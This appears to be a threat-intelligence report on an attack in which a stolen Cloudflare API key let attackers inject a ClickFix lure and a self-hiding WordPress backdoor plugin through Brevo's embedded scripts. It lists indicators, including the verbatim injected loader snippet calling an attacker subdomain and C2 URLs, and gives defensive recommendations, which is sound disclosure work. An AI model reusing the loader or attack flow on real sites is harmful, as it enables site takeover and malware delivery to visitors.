Brevo Supply-Chain Attack: Stolen Cloudflare API Key Used to Inject ClickFix Malware Across 100,000+ Sites

Executive Summary

On September 14, 2026, attackers used a stolen Cloudflare API key to create a malicious Cloudflare Worker inside Brevo's own account, rewriting content at the CDN edge for pages on brevo.com, sendinblue.com, sibforms.com, and the JavaScript files — a tracker SDK and a chat-widget loader — that more than 100,000 customer websites embed directly.¹² Security research firm Sansec disclosed the incident on September 16; Brevo published its own post-mortem the following day.¹²

The injected code served two distinct payloads depending on the visitor. Anyone browsing an affected page, following a link in a Brevo-sent campaign email, or landing on a hosted unsubscribe/signup form was shown a fake "verify you are human" Cloudflare-style overlay instructing them to copy and paste a command into the Windows Run dialog — a "ClickFix" social-engineering technique that gets a victim to execute a malicious command themselves rather than requiring a software exploit.¹² Separately, if the visitor was a logged-in WordPress administrator browsing their own site's front end, the injected script silently installed a malicious plugin using the admin's own authenticated session, without any user interaction beyond simply having the page open.¹²

Because the Cloudflare Worker rewrote HTTP responses at the network edge — including stripping the Content-Security-Policy header — rather than modifying any file on Brevo's origin servers, standard file-integrity monitoring did not detect the change; Brevo's own post-mortem states the key may have been compromised as early as late August 2026, though it found no evidence of malicious activity before September 14.² The exposure window is reported as 16:05–20:13 UTC by Sansec and 16:07–20:30 UTC by Brevo; all attacker-controlled hostnames stopped resolving by September 15, and Brevo states its core application, API, email-delivery infrastructure, and customer account data were unaffected.¹²

This is the second Brevo security incident disclosed within a week: on September 10, Brevo separately disclosed that attackers had hijacked six customer accounts via an SSO-related weakness and used them to launch phishing campaigns against those customers' own recipients — one victim, cryptocurrency wallet maker Trezor, reported the resulting phishing reached 347,000 email addresses and compromised at least 2,500 of them. Brevo has not said whether the two incidents are connected.²

Verification of Claims

1. Claim: The malicious Cloudflare Worker rewrote content at the CDN edge without modifying any file on Brevo's origin servers, which is why standard integrity checks missed it. → Verified — stated directly by Brevo in its own post-mortem and independently corroborated by Sansec's observation that modified assets retained unchanged Last-Modified timestamps throughout the incident.¹²

2. Claim: The injected code installed a WordPress backdoor plugin using a logged-in administrator's own session, without requiring the admin to click or approve anything beyond having the page open. → Verified — confirmed independently by Sansec's code analysis and BleepingComputer's recovery and analysis of the actual plugin archive from VirusTotal.¹³

3. Claim: The recovered malicious plugin contains a hardcoded authentication key allowing attackers to generate a valid WordPress administrator login session without knowing the account password. → Verified — directly documented by BleepingComputer, which obtained and analyzed the plugin binary.³

4. Claim: More than 100,000 websites were affected. → Partially verified — this is Sansec's own estimate of sites that could have served the affected JavaScript files, based on usage of the compromised Brevo components; it is not a confirmed count of sites that actually served the malicious payload to a visitor during the roughly 4-hour exposure window, nor a count validated independently by Brevo.¹²

Timeline

Attack Anatomy

Initial access

Attackers obtained a long-lived Cloudflare API key with full account permissions that had been hardcoded in Brevo's application source code.² Because all five of Brevo's apex domains — brevo.com, sibforms.com, sibautomation.com, sendinblue.com, and sendibt1.com — resolve through the same Cloudflare account, this single credential granted both DNS-write access and the ability to dynamically rewrite HTTP responses across every one of those zones.¹

Infrastructure staging

The attackers created new DNS records under Brevo's own, legitimate sendibt1.com domain (cdn.sendibt1.com, cdn2 through cdn11), placing them behind Cloudflare's proxy while the legitimate sendibt1.com apex remained unproxied — a distinction Sansec used to help confirm the account-level compromise.¹ A Cloudflare Worker or Snippet was used to transform content dynamically at the edge for the affected pages and JavaScript assets.¹²

Payload delivery

The Worker appended a script-injection line to Brevo's own pages and to two JavaScript files merchants embed directly (sdk-loader.js, the tracking SDK, and brevo-conversations.js, the chat widget), causing browsers to load an additional script (f.js) from an attacker-controlled cdn*.sendibt1.com subdomain.¹ That script branched on visitor context: WordPress administrators browsing their own site while authenticated received a silent plugin install (POST /wp-admin/update.php?action=upload-plugin), while everyone else was shown the ClickFix overlay.¹³ The malware deliberately did not activate for crawlers, known developer environments, or automated scanners, delaying detection.¹

The ClickFix lure

Visitors were shown a fake "verify you are human" Cloudflare-branded challenge that placed an attacker-supplied command on the clipboard and instructed the visitor to paste and run it themselves, via the Windows Run dialog — a technique that requires no exploit, only the victim's own action.¹²

The WordPress backdoor

The uploaded plugin, disguised as "Web Media Optimizer," hides itself from the WordPress admin plugin list, copies itself into the mu-plugins (must-use plugins) directory for persistence outside the normal plugin lifecycle, and periodically contacts an attacker-controlled server (glegchner[.]com/ads.php) for its next instruction.³ That endpoint returns a Base64-encoded URL (observed pointing to corralos[.]beer/a412dkoq.js) which the plugin injects into the site's own pages to serve the ClickFix lure to that site's own visitors going forward, independent of Brevo's infrastructure — and the plugin caches the last-known-good URL so it can keep loading malicious code even if the remote server goes down.³ The plugin additionally carries a hardcoded authentication key letting the attackers generate a valid WordPress administrator session at will, without the account password.³

Threat Actor Profile

Name: Unattributed Sophistication indicators: Operational security sufficient to stage new subdomains under Brevo's own legitimate domain rather than obviously unrelated infrastructure; conditional payload logic to evade crawlers and automated scanners; a purpose-built WordPress backdoor with self-hiding persistence and password-less admin session generation; a dead-drop-style C2 response format (a fixed cloaking response redirecting to Google for unrecognized requests) observed identically across every malware host.¹

No attribution to a known group, individual, or nation-state appears in any of the sources reviewed for this paper. The technique combination — supply-chain compromise of a widely embedded third-party marketing/CRM platform, paired with ClickFix as the payload for the mass-visitor population and a targeted admin-session backdoor for the smaller population of site administrators — reflects a financially- or access-motivated actor optimizing for maximum reach per compromised credential, rather than a narrowly targeted espionage operation.

MITRE ATT&CK techniques:

Technical Indicators

attacker_subdomains_under_brevo_dns:
  - cdn[.]sendibt1[.]com     # cert issued 2026-08-25
  - cdn2[.]sendibt1[.]com
  - cdn3[.]sendibt1[.]com
  - cdn4[.]sendibt1[.]com
  - cdn9[.]sendibt1[.]com
  - cdn10[.]sendibt1[.]com
  - cdn11[.]sendibt1[.]com
attacker_registered_domains:
  - glegchner[.]com     # backdoor C2, /ads.php
  - corralos[.]beer     # observed ClickFix payload host, /a412dkoq.js
  - yelahaye[.]surf      # additional distribution domain
  - boiseno[.]club       # additional distribution domain
malicious_plugin:
  - name: "Web Media Optimizer"
    source_url: hxxps://cdn10[.]sendibt1[.]com/p/wm[.]zip
    behavior:
      - hides from WordPress plugin list
      - persists via mu-plugins directory
      - contains hardcoded admin-session auth bypass key
      - polls hxxps://glegchner[.]com/ads[.]php for next payload
injected_loader_snippet: >
  (function(){var s=document.createElement("script");
  s.src="https://cdnN.sendibt1.com/f.js";s.async=true;
  var h=document.head||document.documentElement;h.appendChild(s)})();
detection_note: >
  sendibt1.com's apex is legitimate Brevo email-tracking infrastructure and
  must not be blocked wholesale; only the attacker-created cdn* subdomains
  under that zone were malicious.
exposure_window_utc: "2026-09-14 16:05-20:13 (Sansec) / 16:07-20:30 (Brevo)"

Legal and Regulatory Response

No law enforcement action, regulatory fine, or government advisory tied to this incident had been published as of this paper's research cutoff (September 18, 2026). Brevo's own response, per its post-mortem: revoked the compromised Cloudflare API key and any credentials created with it, removed the hardcoded credential from its source code, deleted the attacker-controlled hostnames, and purged its CDN edge caches.²

Impact Assessment

• Confirmed: Brevo's own pages and two widely embedded JavaScript assets served attacker-modified content for a multi-hour window on September 14, 2026, per file-hash comparison published by Sansec and confirmation in Brevo's own post-mortem.¹²
• Confirmed: At least one malicious WordPress plugin sample was recovered and independently analyzed (via VirusTotal), confirming both the backdoor functionality and the hardcoded authentication bypass.³
• Reported, not independently confirmed: The "100,000+ websites" figure is Sansec's estimate of the reach of the affected shared components, not a confirmed count of sites that actually served the payload to a visitor.¹
• Unknown: How many WordPress sites were actually backdoored (as opposed to merely having served the ClickFix overlay to visitors), how many end users ran the ClickFix clipboard command, and whether the Sept 10 SSO-account-hijacking incident and this Cloudflare-key compromise share a common root cause or attacker.²³

Lessons and Defensive Recommendations

For SOC/defenders (Brevo customers running WordPress):

• Search access logs for POST /wp-admin/update.php?action=upload-plugin and GET /wp-admin/plugins.php?action=activate on September 14, 2026, and treat any plugin with an install/activation date that day as compromised.
• Compare the on-disk plugin directory (including mu-plugins) against what the WordPress admin screen lists — this backdoor is specifically designed to hide itself from that screen.
• Rotate WordPress administrator credentials on any site confirmed or suspected to have been backdoored; the hardcoded auth-bypass key makes a password reset alone insufficient without removing the plugin itself.

For end users:

• Anyone who saw a "verify you are human" prompt on a Brevo-embedding site on September 14 and followed its clipboard-paste instructions should treat their machine as compromised and run a full anti-malware scan, not just close the browser tab.

For platform/SaaS operators embedding third-party JavaScript:

• A hardcoded, full-account-permission API key is a single point of failure that converts a credential leak into a CDN-wide, response-rewriting supply-chain compromise; scope API tokens to the minimum required zones/permissions and avoid embedding them in application source at all.
• Edge-level response rewriting (via a Worker or Snippet) bypasses origin-file integrity monitoring entirely — teams relying solely on file-hash or Last-Modified checks at origin will not detect this class of compromise; monitoring needs to include what is actually served to end users.

For incident responders evaluating scope claims:

• Treat a vendor's initial breach disclosure as a floor, not a ceiling, on scope until independently corroborated — Brevo's September 10 disclosure described six hijacked accounts, and a substantially larger incident affecting the vendor's entire customer base was independently identified four days later.¹³

Sources